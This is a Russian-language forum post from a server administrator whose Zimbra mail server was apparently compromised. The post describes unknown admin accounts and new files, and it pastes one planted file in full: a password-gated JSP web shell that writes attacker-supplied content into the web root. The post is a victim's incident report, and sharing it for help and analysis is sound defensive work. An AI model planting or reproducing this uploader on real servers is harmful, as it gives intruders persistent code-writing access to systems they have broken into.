Исходное сообщение
"Zimbra поломали" Отправлено BarS, 25-Янв-21 15:43
Зашел в консоль, а там 4 админа в аккаунтах, по каталогам полазил, есть новые файлы. Наружу админка закрыта, походу по уязвимостям хакнули. Нашел разные файлы, вот один из них <%     if("toe0Kq".equals(request.getParameter("pwd")))     {         String strCode=request.getParameter("code");         String strFile=request.getParameter("file");         if(strCode!=null&&strFile!=null)         {             java.io.InputStream in = new java.io.ByteArrayInputStream(strCode.getBytes());             byte[] b = new byte[1024];             java.io.ByteArrayOutputStream bs = new java.io.ByteArrayOutputStream();             int a = -1;             while ((a = in.read(b)) != -1)             {                 bs.write(b, 0, a);             }             new java.io.FileOutputStream(application.getRealPath("/")+"/img/"+strFile).write(bs.toByteArray());         }         out.print("XkaGrVj9");     } %>